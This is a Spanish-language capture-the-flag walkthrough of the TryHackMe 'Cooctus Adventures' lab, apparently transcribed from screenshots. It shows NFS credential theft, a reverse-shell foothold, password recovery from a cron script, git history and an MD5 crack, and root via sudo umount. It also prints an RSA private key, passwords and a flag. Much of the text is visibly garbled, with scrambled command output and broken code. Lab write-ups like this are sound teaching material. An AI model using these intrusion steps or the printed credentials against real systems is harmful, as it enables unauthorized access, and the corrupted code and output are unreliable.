miércoles, 14 de abril de 2021 17:47

### Context

Task 1 The story so far...

### **Previously on Cooctus Tracker**


Overpass has been hacked! The SOC team (Paradox, congratulations on the promotion) noticed suspicious activity on a late night shift while looking at shibes, and managed to capture packets as the attack happened. (From <a href="Overpass 2">Overpass 2</a> - Hacked by <a href="NinjaJcO1">NinjaJcO1</a>)

### **Present times**

Further investigation revealed that the hack was made possible by the help of an insider threat. Paradox helped the Cooctus Clan hack overpass in exchange for the secret shiba stash. Now, we have discovered a private server deep down under the boiling hot sands of the Saharan Desert. We suspect it is operated by the Clan and it's your objective to uncover their plans.

Note: A stable shell is recommended, so try and SSH into users when possible.

Desde < https://tryhackme.com/room/cooctusadventures>



### Recon

#### **Nmap**

```
Starting Nmap 7.60 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2021-04-14 22:47 BST
Nmap scan report for cooctus.thm (10.10.11.137)
Host is up (0.00039s latency).
           STATE SERVICE VERSION
                                         6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  ssh-hostkey:
    2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
     256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (EdDSA)
  rpcinfo:
    program version
                         port/proto service
    100000 2,3,4
100000 2,3,4
                             111/tcp rpcbind
111/udp rpcbind
     100003 3
                            2049/udp nfs
    100003 3,4
                            2049/tcp nfs
    100005 1,2,3
100005 1,2,3
                           38491/tcp mountd
                          42257/udp mountd
    100003 1,2,3
100021 1,3,4
100021 1,3,4
                          35646/udp nlockmgr
37699/tcp nlockmgr
                                       nlockmgr
    100227
                            2049/tcp nfs_acl
    100227 3
                            2049/udp nfs_acl
Werkzeug httpd 0.14.1 (Python 3.6.9)
_http-title: CCHQ
37699/tcp open nlockmgr 1-4 (RPC #100021)
59153/tcp open mountd 1-3 (RPC #10000 MAC Address: 02:5A:3B:DF:08:55 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.8 (95%),
```

Enum4linux sin datos adicionales.

Vista de la web.8080



El fuzzeo de directorios encontró un match: login el cual presenta la siguiente interfaz



# Cookieless login page

Username Password Login

Dada la primera pregunta y el título de esta página se podría pensar que existiría una forma de bypassearlo.

### 111

 $root@ip-10-10-129-159:^{\#} showmount-e\ 10.10.11.137$ 


Export list for 10.10.11.137:

# /var/nfs/general \*

oot@ip-10-10-129-159: # mkdir /mnt/test root@ip-10-10-129-159: # mount 10.10.11.137:/var/nfs/general /mnt/test root@ip-10-10-129-159:-# cat /mnt/test/credentials.bak paradoxial.test ShibaPretzel79 root@ip-10-10-129-159: # root@ip-10-10-129-159: ~ File Edit View Search Terminal Help map scan report for cooctus.thm (10.10.11.137) Host is up (0.00019s latency). STATE SERVICE nfs-ls: Volume /var/nfs/general access: Read Lookup NoModify NoExtend NoDelete NoExecute 4096 2020-11-21T17:42:01 2020-11-21T18:24:22 credentials.bak nfs-showmount: /var/nfs/general \* nfs-statfs: 1K-blocks Used Available Maxfilesize ink MAC Address: 02:5A:3B:DF:08:55 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds paradoxial.test

ShibaPretzel79

Al utilizar estas credenciales en el sitio de login Se logra acceder a un panel para probar PAYLOADS.



Al descubrir que el sitio es vulnerable a XSS, se sugiere una captura de las cookies, pero sin éxito

### Foothold

Luego de un buen rato, ejecutamos una reverse directa desde python. Logrando una shell.




# Cooctus Attack Troubleshooter (C.A.T)

Welcome Cooctus Recruit!

Here, you can test your exploits in a safe environment before launching them against your target. Please bear in mind, some functionality is still under development in the current version.

d) for fd in (0,1,2)];pty.spawn("sh")' Submit



### Home enumeration

```
      paradox@ccch:/home$ 1s -lha

      total 24K

      drwxr-xr-x
      6 root
      root
      4.0K Jan
      2 10:24 .

      drwxr-xr-x
      24 root
      root
      4.0K Feb 20 21:04 .

      drwxr-xr-x
      5 paradox
      paradox
      4.0K Feb 22 18:48 paradox

      drwxr-xr-x
      5 szymex
      szymex
      4.0K Feb 22 18:45 szymex

      drwxr-xr-x
      9 tux
      tux
      4.0K Feb 20 22:02 tux

      drwxr-xr-x
      7 varg
      varg
      4.0K Feb 20 22:02 tox
```

Al enumerar el crontab

```
paradox@cchq:/home$ cat /etc/crontab
# /etc/crontab: system wide crontab
# Unlike any other crontab you don't have to run the 'crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
* * * * * szymex /home/szymex/SniffingCat.py
# paradox@cchq:/home$
```

## Szymex directory

paradox@cchq:/home/szymex\$ cat note\_to\_para
Paradox.

I'm testing my new Dr. Pepper Tracker script. It detects the location of shipments in real time and sends the coordinates to your account. If you find this annoying you need to change my super secret password file to disable the tracker.

You know me, so you know how to get access to the file.

- Szymex

```
# m h dom mon dow user command

17 * * * * root cd / && run-parts --report /etc/cron.hourly

25 6 * * * root test -x /usr/sbln/anacron || ( cd / && run-parts --r

47 6 * * 7 root test -x /usr/sbln/anacron || ( cd / && run-parts --r

52 6 1 * * root test -x /usr/sbln/anacron || ( cd / && run-parts --r

* * * * * szymex /home/szymex/SniffingCat.py
paradox@cchq:/home/szymex$ cat SniffingCat.py
#!/usr/bin/python3
 import os
def encode(pwd):
        for t in pwd:
              if ord(i) > 110:
num = (13 - (122 - ord(i))) + 95
                     enc += chr(num)
                     enc += chr(ord(i) + 13)
 x = random.randint(300,700)
   = random.randint(0,255)
z = random.randint(0,1000)
message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)
 with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
        line = f.readline().rstrip("\n")
        enc_pw = encode(line)
        if enc_pw == "pureelpbxr":
    os.system("wall -g paradox " + message)
    os.system("wall -g paradox " + coords)
```



szymex:cherrycoke

### Tux directory

```
cat note_to_every_cooctus
Hello fellow Cooctus Clan members
```

I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.

The 1st Tuxling Infantry will provide young and brave penguins with opportunities to explore the world while making sure our control over every continent spreads accordingly.

Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.

Work on the challenges is already underway thanks to the trio of my top-most explorers.

Required budget: 2,348,123 Doge coins and 47 pennies.

Hope this message finds all of you well and spiky.

- TuxTheXplorer

### Szymex directory

```
szymex@cchq:/home/tux/tuxling_1$ cat note
Noot noot! You found me.
I'm Mr. Skipper and this is my challenge for you.

General Tux has bestowed the first fragment of his secret key to me.
If you crack my NootCode you get a point on the Tuxling leaderboards and you'll find my key fragment.

Good luck and keep on nooting!
```

# Aquí ocurre algo extraño.

Al intentar ingresar en tuxling\_1 el autocompletador me dejaba en la \_ y no me rellenaba el 1.

Así que al hacer doble TAB obtuve un directorio oculto.

PS: You can compile the source code with gcc

```
## As represented by the body of the body
```

```
szymex@cchq:/home/tux/tuxling_3$ cat note
Hi! Kowalski here.
I was practicing my act of disappearance so good job finding me.
Here take this,
The last fragment is: 637b56db1552
Combine them all and visit the station.
```

# 637b56db1552

Esto me hace pensar que es necesario encontrar la primera parte en tuxling\_1 (y ver si es posible encontrar un 2)

Volvemos al directorio 1 y compilamos el .c

```
zymex@cchq:/home/tux/tuxling_i$ gcc nootcode.c -o noot -pthread
nootcode.c: In function 'main':
nootcode.c:10:15: warning: implicit declaration of function 'nuut'; did you mean
'nout'? [-Wimplicit-function-declaration]
 #define Nooot nuut
nootcode.c:24:5: note: in expansion of macro 'Nooot'
Nooot noOt nooT NooT
nootcode.c:10:15: warning: conflicting types for 'nuut'
 #define Nooot nuut
nootcode.c:10:15: note: previous implicit declaration of 'nuut' was here
 #define Nooot nuut
nootcode.c:24:5: note: in expansion of macro 'Nooot'
Nooot noOt nooT NooT
Al ejecutarlo no se encuentra pista.
 szymex@cchq:/home/tux/tuxling_1$ ./noot
 What does the penguin say?
NOOT!
szymex@cchq:/home/tux/tuxllng 1$ ltrace ./noot
puts("What does the penguin say?"What does the penguin say?
puts("NOOT!"NOOT!
+++ exited (status 0) +++
szymex@cchq:/home/tux/tuxling_1$ ltrace ./noot noot
puts("What does the penguin say?"What does the penguin say?
puts("NOOT!"NOOT!
                                                  = 6
+++ exited (status 0) +++
Pero al ver el binario con strings sí se ve lo buscado.
 szymex@cchq:/home/tux/tuxling_1$ strings noot
/lib64/ld-linux-x86-64.so.2
 puts
printf
__libc_start_main
GLIBC_2.2.5
 _ITM_deregisterTMCloneTable
  gmon start
 _ITM_registerTMCloneTable
 AWAVT
[]A\A]A^A_
What does the penguin say?
 f96050ad61
;*35'
F96050ad61
F96050ad61xxxxxxxxxx 637b56db1552
Si lo comparo con un md5 comun, veo que efectivamente falta una parte.
5d41402abc4b2a76b9719d911017c592
 szymex@cchq:/home/tux/tuxling_1$ find / type d -name "tuxling_2" 2>/dev/null
/media/tuxling_2
szymex@cchq:/media/tuxling_2$ is -lha
total 20K
 drwxrwx--- 2 tux testers 4.0K Feb 20 20:02
drwxrwx--- 2 tux testers 4.0K Feb 20 20:02 .

drwxr-xr-x 3 root root 4.0K Feb 20 21:04 .

-rw-rw-r-- 1 tux testers 740 Feb 20 20:00 fragment.asc

-rw-rw--- 1 tux testers 280 Jan 2 20:20 note

-rw-rw-r-- 1 tux testers 3.6K Feb 20 20:01 private.key

szymex@cchq:/media/tuxling_2$ cat note

Noot noot! You found me.

T'm Diagraph this is my challenge for you
I'm Rico and this is my challenge for you.
General Tux handed me a fragment of his secret key for safekeeping.
 I've encrypted it with Penguin Grade Protection (PGP).
You can have the key fragment if you can decrypt it.
Good luck and keep on nooting!
```

Tryhackme página 6

szymex@cchq:/media/tuxling\_2\$ gpg --import private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported

```
gpg: key B70EB31F8EF3187C: secret key imported
              gpg: Total number processed: 1
                                    imported: 1
              gpg:
                           secret keys read: 1
              gpg:
              gpg:
                     secret keys imported: 1
szymex@cchq:/media/tuxling_25 gpg -d fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
The second key fragment is: 6eaf62818d
6eaf62818d
F96050ad616eaf62818d637b56db1552
                                          Free Password Hash Cracker
Enter up to 20 non-salted hashes, one per line
 F96050ad616eaf62818d637b56db1552
                                                                               No soy un robot
                                                                                Crack Hashes
Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), Qubest 3.1BackupDefaults
tuxykitty
 szymex@cchq:/media/tuxling_2$ su tux
Password:
 tux@cchq:/media/tuxling_2$
TuX directory
              tux@cchq:/home/varg$ ls -lha
              total 48K
              drwxr-xr-x 7 varg varg
                                                4.0K Feb 20 22:06 .
              drwxr-xr-x 6 root root
                                                4.0K Jan 2 10:24 ..
                                               9 Feb 20 14:54 .bash_history -> /dev/null
220 Jan 2 10:24 .bash_logout
3.7K Jan 3 11:40 .bashrc
4.0K Jan 3 12:53 .cache
              lrwxrwxrwx 1 varg varg
              -rw-r--r-- 1 varg varg
              -rw-r--r-- 1 varg varg
-rw-r--r-- 1 varg varg
drwx----- 2 varg varg
-rwsrw<mark>s</mark>--x 1 varg varg
drwxrwx--- 11 varg <mark>os te</mark>
                                                2.1K Feb 20 22:05 CooctOS.py
                                           ster 4.0K Feb 20 15:44 cooct0S_src
47 Feb 20 15:46 .gitconfig
              -rw-rw-r-- 1 varg varg
drwx----- 3 varg varg
                                               4.0K Jan 3 12:53 .gnupg
4.0K Jan 3 10:22 .local
              drwxrwxr-x 3 varg varg
              drwx----- 2 varg varg
-rw----- 1 varg varg
                                             4.0K Feb 20 14:17 .ssh
                                           38 Feb 20 21:08 user.txt
Matching Defaults entries for tux on cchq:
      env_reset, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin
User tux may run the following commands on cchq:
  (varg) NOPASSWD: /home/varg/CooctOS.py
Dado que como tux pertenece al grupo os_tester, podemos ingresar a cooctOS_src
Dentro de él vemos varios directorios, pero el más llamativo es un .git
Así que se ejecuta un git log -p para ver las versiones anteriores de los archivos buscando algun indicio
que nos sirva para escalar privilegios.
varg:slowroastpork
```

```
[ OK ] Cold boot detected. Flux Capacitor powered up
[ OK ] Mounted Cooctus Filesystem under /opt
[ OK ] Finished booting sequence
CooctoS 13.3.7 LTS cookle tty1

cookle login: varg
Password: slowroastpork
varg@cchq:/home/varg$ cat user.txt
THM(3a33003a4a8a5805d17aa411a53286e6)
```

# Varg directory

----END RSA PRIVATE KEY--

varg@cchq:/home/varg/.ssh\$ cat id\_rsa
----BEGIN RSA PRIVATE KEY-----MIIEpQIBAAKCAQEArlJrgXdUruStPU/wOtRs9lXwE1arVGEQfNFWk9HuytnYQkjX RO5AgzisLq1fjp8XeBycddhvLJSV4J2osN1j//6sy4B/zDS8WuRwO3016ZSKONVE C7OaMaCW0V3F3h91IFa+w4f2yODm/b73dMhcjCJ31qcie+Qoj8CbyekbrCE049SC f/Dd5U6lg2yAyURu3pE2rdr97JsSctH3XgC6D5k/YUp9IvqJ6i3d9i3eo4Yrq8pR Um8tZ9LOUkiIwBaIAFtbMyfd8PGkpR9gppyST2S5hnPT+ydbpyC3nHhpI7rhqVlGhNYgQA1te9cw5T0VjUAfPLplw9JyH+noxY1lQQIDAQABAoIBAQCeCmsc/SrxRLEr HQYWz+/ZhSAa6EB8R2PDRabQbUuo7Md7kL5bYSxryz2PME9J5kJIyueuj4J7UFpx QX5mmtDGjgXqmZ1Dbaw2W1TFGjj9A4aLP7MFSNdK1uUk+3cgYgxTMDHS47mBdST2 d+0xJNWC1tz+5pgE6107tsuGyqgj7JbiM4PraCVNUIzLaAjTRkCbwD4LC5Twa63n Us6DhB9NACNII8pPSaXBB/UB8C0gGKmctc3Mk187TTYvC2+VSyQLYRB8c77+YyKD ZX8E3CiJg17D3cwM+2+VuQ1VeSsNdanGsY9v8Un2XoUF0Hy6cmT+bGqquGCZGRGp 1Y4HHiyBAoGBAOSWNVxXK2AiXOfKnx97HkSQIxt9Tx056XcTqqzqBb2PoZc6MOXi B0bV6wnbu/EUuN/9CviIHMYG0sfxScNvIGBR6Pz1s8G1YTCo8mw+NjCC/VFQSD1M 83Cx27/NGbc4mcJVPdUCrvCtbl7SSDKFD5cr4Rt37Id5E/vlGgq679JlAoGBAMM6 PWdPW+kBRfB60HTeiwEbhBbvkM6M2CZ5lofz4gTNUWDEP1Lasto/ddnRJGIzBwYITMvNdBkSSeKdyo5wUQJS10+IVgni1R0d1Zms+q2a/kakap0U0ZfQdDYrpkABQVqh mJZHBhu+LzIboaTAAtkqJgKbf9AQVab19xbcKn6rGW40EPjtasFoe5GIIV35qSLd 6ipitY0s4y9NP94xgt2lhDNcsQU5V9WJ0ug3tKr75618Ctp07D6sF5UpjrOClNG/ QLGr1/Heu2ZXqVB5C9xqmv91AoGBAIvkQrWxnwmCuQwNeED+apq7jdYlih0Hvacs PxpiPtX0DdkKJtoHDlvnV1piS/D14ZWIAweSzBtfCISTTt7sSpAgrlo2NnjVCpwI 4FNDKUmXI5eZHzA6B8oCPBPJCVMZ0yvPPSHp0IFuRfOvTlL0N48AN/ynCaz8jYBI 9Dl+FnrtAoGAQhbCwOluGecz1EDTgi3U+dJ5b8doCAX11k+rQLjxHFVizY4wBNRU ZNb6Oou2Hp5hRcYjzQD0E5Nj0K4+hld20E8tlQe033a1H10cBDV0Br14dKdb14qI itMNT884VULYldf2X8zHO3z/8pQcvCtKTOSPXGspBbl18+CLwjbfwXw=

En gtfobins no aparece ninguna forma de escalar con umount, que es una herramienta para eliminar monturas de sistema operativo. Así que miramos con mount lo que ya esté montado, encontrando algo particular.

```
varg&chq:/home/warg$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,noexec,relatime,size=471708k,nr_inode=117927,mode=755)
drvpts on /dev/pts type devtps (rw,nosuid,noexec,relatime,size=100680k,mode=755)
lipfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=100680k,mode=755)
lipfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=100680k,mode=706,unded)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev)
tmpfs on /sys/fs/cgroup/yertpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,nsdelegate)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,nsdelegate)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
pstore on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,edvices)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,edvices)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,edvices)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,eff_event)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,eff_event)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,eff_event)
cgroup on /sys/fs/cgroup/ptds type cgroup (rw,nosuid,nodev,noexec,relatime,eff_event)
cgroup on /s
```

Dentro de /opt/CooctFS encuentro lo que parece un directorio con /games/adventure dentro, que aparentemente es el mismo juego que antes habíamos mirado en su código.

Luego de dar un par de vueltas no logré nada positivo



Así que decidí desmontar la ruta.

```
varg@cchq:/opt/cooctF5/games$ sudo /bin/umount /opt/CooctF5/
umount: /opt/CooctF5/; target is busy.
varg@cchq:/opt/CooctF5/sudo /bin/umount /opt/CooctF5/
umount: /opt/CooctF5/sudo /bin/umount /opt/CooctF5/
umount: /opt/CooctF5/; target is busy.
varg@cchq:/opt/CooctF5/sudo /bin/umount /opt/CooctF5/
varg@cchq:/opt5 sudo /bin/umount /opt/CooctF5/
var
```

Sorpresa.

```
varg@cchq:/opt/CooctFS/root$ cat root.txt
hmmm...
No flag here. You aren't root yet.
```

No era la flag, final, pero sí existía una carpeta .ssh

```
varg@cchq:/opt/CooctFS/root/.ssh$ ls -lha
total 16K
drwxr-xr-x 2 root root 4.0K Feb 20 09:41 .
drwxr-xr-x 5 root root 4.0K Feb 20 09:16 ..
-rw-r--r- 1 root root 1.7K Feb 20 09:18 id_rsa
-rw-r--r- 1 root root 391 Feb 20_09:18 id_rsa.pub
```

```
Varg@cchq:/opt/CooctFS/root/.ssh$ ssh root@localhost -i id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:7/RMInMYqZHC8ICXMcPUC3VIVlZuQab39ZSXS9Q+NI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sun Apr 18 07:16:50 UTC 2021

System load: 0.0 Processes: 119
Usage of /: 35.1% of 18.57GB Users logged in: 1
Memory usage: 37% IP address for eth0: 10.10.59.146

Swap usage: 0%

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch

0 packages can be updated.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet co
Last login: Sat Feb 20 22:22:12 2021 from 172.16.228.162
root@cchq:-# ■
```



## **Preguntas**

Paradox is nomming cookies? **Hint**: Confront the CAT!

Find out what Szymex is working on? Hint: Locating shipment...

Find out what Tux is working on **Hint**: Combine and crack

Find out what Varg is working on **Hint**: Boot sequence initiated...

Get full root privileges. **Hint** To mount or not to mount. That is the question.

